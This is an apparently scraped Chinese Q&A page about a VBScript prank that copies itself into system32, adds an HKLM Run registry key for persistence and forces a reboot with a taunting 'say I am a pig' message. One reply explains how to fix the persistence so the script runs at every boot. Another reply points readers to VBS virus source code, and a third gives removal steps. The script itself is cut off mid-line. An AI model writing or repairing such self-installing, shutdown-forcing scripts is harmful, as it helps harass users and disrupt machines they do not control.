帮我改一下开机自动启动的vbe脚本

来源：百度知道编辑：UC知道时间：2024/05/30 06:41:37

------------------------------------------------------------------
on error resume next
Dim fso,file

Set fso = CreateObject("Scripting.FileSystemObject")

Set file = fso.getfile(WScript.ScriptFullName)

file.copy "c:\windows\system32\"

Dim AutoRunProgram
Set AutoRunProgram = WScript.CreateObject("WScript.shell")
RegPath ="HKLM\Software\Microsoft\Windows\CurrentVersion\Run\"
Type_Name = "REG_SZ"
Key_Name = "ceshi.vbs"
Key_data = "C:\windows\system32\ceshi.vbs"
AutorunProgram.RegWrite regpath&Key_Name,Key_data,Type_Name
dim WSHshellA
set WSHshellA = wscript.createobject("wscript.shell")
WSHshellA.run "cmd.exe /c shutdown -r -t 400 -c ""快说“我是猪”，不说我是猪就37秒关你机，不信，你就试试···"" ",0 ,true
dim a
do while(a <> "我

这个脚本已经添加了自启动模块
『『『Set AutoRunProgram = WScript.CreateObject("WScript.shell")
RegPath ="HKLM\Software\Microsoft\Windows\CurrentVersion\Run\"
Type_Name = "REG_SZ"
Key_Name = "ceshi.vbs"
Key_data = "C:\windows\system32\ceshi.vbs"
AutorunProgram.RegWrite regpath&Key_Name,Key_data,Type_Name
dim WSHshellA
』』』

这一段就是写入注册表的自启动项，至于file。copy是wscript的文件对象，他的作用是将脚本本身复制到系统文件夹下，由于没有由指定目标文件名，所以会采用原始文件名，如果文件名和Key_data = "C:\windows\system32\ceshi.vbs" 这里的不一致，当然就无法启动了，或者你把要启动的文件名改为ceshi.vbs，或者修改写注册表的这条语句为 Key_data = "C:\windows\system32\"&wscript.scriptname
这样应该就能实现自启动了，前提是该脚本没有语法错误，在有疑问留言～

你好！在注册表中新建启动项，不过你会不会用vbs改注册表是个问题。不过你可以到vbs病毒源码里去找里面是怎么修改注册表的。源码我QQ空间里有。358187273

查找C：\WINDOWS\system32\.vbe 下面的这个文件,并将其删除. 同时检查启动项中的内容，看看有关.vbe的启动内容并将其删除 .

我的电脑每次开机都自动运行标题为.vbe-记事本想减少一下电脑开机自动启动的程序，怎么改啊？谢谢！！帮我看一下哪些不用开机自动启动，笔记本--联想天逸80A 请问我的电脑“服务”启动类型为自动,开机时却不自动启动？哪位高手帮我解决，谢谢我的杀毒软件被病毒改了,每次的自动防护都没发启动,开机之后不能自动启动,怎么办?我用的是诺顿我的瑞星开机无法自动启动我的电脑总是自动启动开机我的电脑关机后自动重启，开机时显示Wininit.exe文件错误，系统从c:/windows启动．哪位哥们帮偶一下呀开机自动启动桌面的文件夹怎么办呀??大家帮我看看我想让我的电脑开机自动启动某个软件,该怎么设置一下